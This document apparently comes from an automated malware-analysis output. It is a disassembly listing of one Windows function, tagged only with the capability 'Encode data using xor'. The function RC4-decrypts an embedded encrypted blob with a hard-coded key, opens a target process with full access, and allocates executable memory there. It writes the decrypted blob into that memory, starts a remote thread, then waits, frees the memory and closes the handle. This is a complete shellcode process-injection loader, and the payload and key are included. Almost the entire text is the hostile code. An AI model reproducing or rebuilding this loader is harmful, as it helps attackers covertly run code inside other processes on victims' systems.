Function at 0x140001bb0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
sub rsp, 0x1b8
movaps xmmword [rsp + 0x1a0], xmm6
mov edi, ecx
mov rax, qword [0x140052540]
xor rax, rsp
mov qword [rsp + 0x198], rax
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x60], 0x3a1
lea rcx, str.MyQev9zoFjBNm5qjVKRDVHdldXL8a9Rl4Hl1dsmUVUtGNN9CskY5AekiFCgiFisqp49yadRU_H1KmZxcOMb0nUM0iCms1Z_eeKeRNRpWunE3S4C_wA5k9oR0gFYiOKxeMbxYdADf03sf3KwBM3L6pxvnuqZrbUZPUwKUdIjghEaZ4fO_UvbDmI7S4uPV5D7_tl1Pl9u5dMemqdygKkCST6u9g1KEGPtjFtc90HCc9NKqU5eLxzLYL2ZcJ_D_74XuTQPZ4xKVIqVtscJn_ZuZvxG1ZuRsLflNpFYJPC3nDsLPP63HhOFYCleMss3kDmnVO7um4QSlaZ5IOOk9uL99uOHHio6NaKFuqjGQnariqppfWwv7JfX4m1buhA7NPpWFjFjy0W66LYZjhoAiajFjxCFQQzhEVAtVqt1GkALwA0RAG5H_6P1hteV0g2CWE6kdpTxAsgpDIaDhRsbPKMSrsXJ_C9ZuSuXHit4mLJ912jtqHfPBQttGiVRcJEvAt5kl9jNkN7peUsuW3sfe8AxpeAZ7zCAit4XcV_Mc3crBe9yFDviBKVUW2d6PtnDZcZz9sT5XxcQGiZJ3ymNYsxdaIZaU2vsXr5JfqV5WWLFTudBWMVF2PxYPnRaABSctLBknlnLPiyuQ_UeSNStgo3iO9n7Lbj6IRBHHYMm7AmIYO5SP8tyBTs7CAiUvKCVHNdSWbKao0dBbW17rOw4dlCdtX9uGbS3_uDGOsn7UpHp6jFFMHAbyCQHtSOf0GlCyOmQryhL3V1CU3KqQ_O0AKvntvTQERc8CbvULeStKMb5p9siLe6lArlruX_0_HaM2oHoQBwkvIsGPcuywSP3rNGMPlloWacCMRkw8ZiX3ogUoOUMTkkS8UD9FVgUf6rAN_dJjMmzoBhELO1ZffQ1mYLSikFkj727t8Kvencxq8KMdnQRmfbZS3uxRleQcvblEBVPPTQmWXxurQhALSv8jOy_EOZXfknoLC35alFi7zGNkP5uO8QXy_gWv2hTQntpT1V4kcPVqMReIE0FGSmIAKEtDQqDOjDJ7JsVV2TdiEMo1VQA2kA1NvzifqAW0g_cYO8YXRkkopOQKzrB7rk4i8N4m3hiIjMvH11joYDByOydsZpEEsztnPl2YCt5d_3Yagek_hjP_dGOYp1mJRx32ZtFJQx7S0d3DVquVHGPpqdOv7aDZf02eAtjm5HktSaKJ6TXtiJ0VIGZ3jI
call fcn.140001100
mov rsi, rax
movaps xmm0, xmmword [0x140041710]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [0x140041720]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [0x140041730]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [0x140041740]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [0x140041750]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [0x140041760]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [0x140041770]
movaps xmmword [rsp + 0xf0], xmm0
movaps xmm0, xmmword [0x140041780]
movaps xmmword [rsp + 0x100], xmm0
movaps xmm0, xmmword [0x140041790]
movaps xmmword [rsp + 0x110], xmm0
movaps xmm0, xmmword [0x1400417a0]
movaps xmmword [rsp + 0x120], xmm0
movaps xmm0, xmmword [0x1400417b0]
movaps xmmword [rsp + 0x130], xmm0
movaps xmm0, xmmword [0x1400417c0]
movaps xmmword [rsp + 0x140], xmm0
movaps xmm0, xmmword [0x1400417d0]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x1400417e0]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x1400417f0]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140041800]
movaps xmmword [rsp + 0x180], xmm0
xor eax, eax
lea rcx, str.PqEpKK0P4p8I8pmYgNrvmw
xor edx, edx
nop word [rax + rax]
movzx r8d, byte [rsp + rax + 0x90]
add dl, r8b
movsxd r9, eax
imul r10, r9, 0x2aaaaaab
mov r11, r10
shr r11, 0x3f
shr r10, 0x22
add r10d, r11d
shl r10d, 3
lea r10d, [r10 + r10*2]
sub r9d, r10d
add dl, byte [r9 + rcx]
movzx r9d, dl
movzx r10d, byte [rsp + r9 + 0x90]
mov byte [rsp + rax + 0x90], r10b
mov byte [rsp + r9 + 0x90], r8b
inc rax
cmp rax, 0x100
jne 0x140001d00
xor eax, eax
xor ecx, ecx
xor edx, edx
nop word cs:[rax + rax]
lea r8d, [rcx + 1]
lea r9d, [rcx + 0x100]
test r8d, r8d
cmovns r9d, r8d
and r9d, 0xffffff00
neg r9d
add ecx, r9d
inc ecx
movsxd r8, ecx
movzx r9d, byte [rsp + r8 + 0x90]
add dl, r9b
movzx r10d, dl
movzx r11d, byte [rsp + r10 + 0x90]
mov byte [rsp + r8 + 0x90], r11b
mov byte [rsp + r10 + 0x90], r9b
add r9b, byte [rsp + r8 + 0x90]
movzx r8d, r9b
movzx r8d, byte [rsp + r8 + 0x90]
xor byte [rsi + rax], r8b
inc rax
cmp rax, 0x3a1
jne 0x140001d70
mov eax, edi
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 0
mov dword [rsp + 0x90], 0x30
xorps xmm6, xmm6
movups xmmword [rsp + 0x98], xmm6
mov dword [rsp + 0xa8], 0
movups xmmword [rsp + 0xb0], xmm6
lea rcx, [rsp + 0x78]
lea r8, [rsp + 0x90]
lea r9, [rsp + 0x80]
mov edx, 0x1fffff
call fcn.140005860
mov rcx, qword [rsp + 0x78]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea rdi, [rsp + 0x70]
lea r9, [rsp + 0x60]
mov rdx, rdi
xor r8d, r8d
call fcn.140005ba0
mov r9, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x20], 0
mov r8, rsi
call fcn.140005b60
mov rax, qword [rsp + 0x70]
mov r9, qword [rsp + 0x78]
movups xmmword [rsp + 0x48], xmm6
movups xmmword [rsp + 0x38], xmm6
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x68]
mov edx, 0x20000000
xor r8d, r8d
call fcn.140005820
mov rcx, qword [rsp + 0x68]
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
mov rdx, rdi
xor r8d, r8d
mov r9d, 0x8000
call fcn.140005c20
mov rcx, qword [rsp + 0x78]
call fcn.140005ae0
mov rcx, rsi
call fcn.1400103d4
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.140006170
mov eax, 1
movaps xmm6, xmmword [rsp + 0x1a0]
add rsp, 0x1b8
pop rdi
pop rsi
ret